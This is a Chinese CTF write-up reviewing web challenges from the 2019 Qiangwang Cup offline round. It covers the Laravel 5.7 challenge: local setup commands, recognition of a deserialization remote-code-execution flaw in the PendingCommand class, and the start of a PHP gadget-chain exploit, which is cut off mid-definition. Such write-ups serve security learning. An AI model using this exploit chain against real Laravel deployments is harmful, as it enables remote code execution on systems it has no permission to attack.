本篇文章记录了2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c
laravel
先通过如下命令将 Web 网站搭起来,通过查看 composer.json 文件可知该网站采用了 Laravel 5.7 版本框架。如果有关注过 Laravel 的漏洞,应该知道该版本的 Laravel 存在一个远程代码执行漏洞,我们继续看代码部分。
➜ laravel-5.7 composer install
➜ laravel-5.7 php -S 0.0.0.0:8000 -t public
框架的路由也不多,找到对应的控制器,发现明显是一个反序列化漏洞,估计就是利用反序列化进行代码执行了。
直接通过 CVE 就能找到相关漏洞分析文章,虽然作者删了原文,但是还是可以通过 google 快照找到 EXP 。
该漏洞主要是利用了 Illuminate\Foundation\Testing\PendingCommand 类的 run 方法来执行命令,具体漏洞的分析见下篇文章。我们可以构造 EXP 如下:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
点击收藏 | 2
关注 | 2